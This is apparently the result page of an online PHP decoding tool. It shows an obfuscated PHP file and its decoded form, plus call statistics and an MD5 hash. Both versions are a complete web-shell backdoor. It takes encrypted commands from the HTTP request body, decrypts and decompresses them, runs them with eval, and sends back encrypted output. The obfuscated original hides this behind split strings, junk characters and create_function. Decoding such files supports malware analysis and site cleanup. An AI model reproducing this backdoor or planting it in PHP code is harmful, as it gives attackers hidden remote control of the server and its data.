Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $O='$k="c81307?597?1";$kh="17?51e1ede7?ef7?26";7?$7?kf="2d3006d77?b2d0" $p="z7?ig7..
Decoded Output download
$k="c8130591";$kh="151e1edeef26";$kf="2d3006d7b2d0"
$p="zigMiTnLelTQycXH";function x($t,$k){$c=strlen($k);$l=strlen($t);$o7
="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i
^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",7
@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzu7
ncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_con7
tents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));pri7
nt("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$O='$k="c81307?597?1";$kh="17?51e1ede7?ef7?26";7?$7?kf="2d3006d77?b2d0"
$p="z7?ig7?MiTn7?LelT';
$Q='@7?base7?64_decode($m[17?]),$k)7?)7?);$o=@ob_ge7?7?t_con7
tents(7?);@7?ob_end_clean(';
$b='($i=0;$i7?<7?$l;){for($j=0;(7?$j<7?$c&&7?$i<$l)7?;7?$j++,$i7?++){$o.=$7?t{$i
^$7?k{';
$J='nts("7?php://7?inp7?ut")7?,$m)==1) {@o7?b_s7?tar7?t();@ev7?al(@gzu7?7
ncompre7?ss(@x(';
$E=str_replace('eg','','egcegreategeegeg_funcegtion');
$U='QycX7?7?H";function x(7?$7?t,$k){$c=s7?trlen($7?k);$l7?=strlen($7?t);$o7
="";f7?o7?r';
$N='$j};}}r7?et7?u7?rn $o;}if (@pre7?g_match(7?7?"/$kh(.+)7?$7?kf/",7
@file_get_cont7?e';
$o=');$7?r7?=@base7?64_encode(@x7?(@gz7?compress(7?$o),$7?k));pri7?7
nt("$p$kh$r7?$kf");}';
$R=str_replace('7?','',$O.$U.$b.$N.$J.$Q.$o);
$Y=$E('',$R);$Y();
?>
Function Calls
str_replace | 2 |
create_function | 1 |
Stats
MD5 | c0c0778f0376d26c84d896bd0c4853c2 |
Eval Count | 1 |
Decode Time | 67 ms |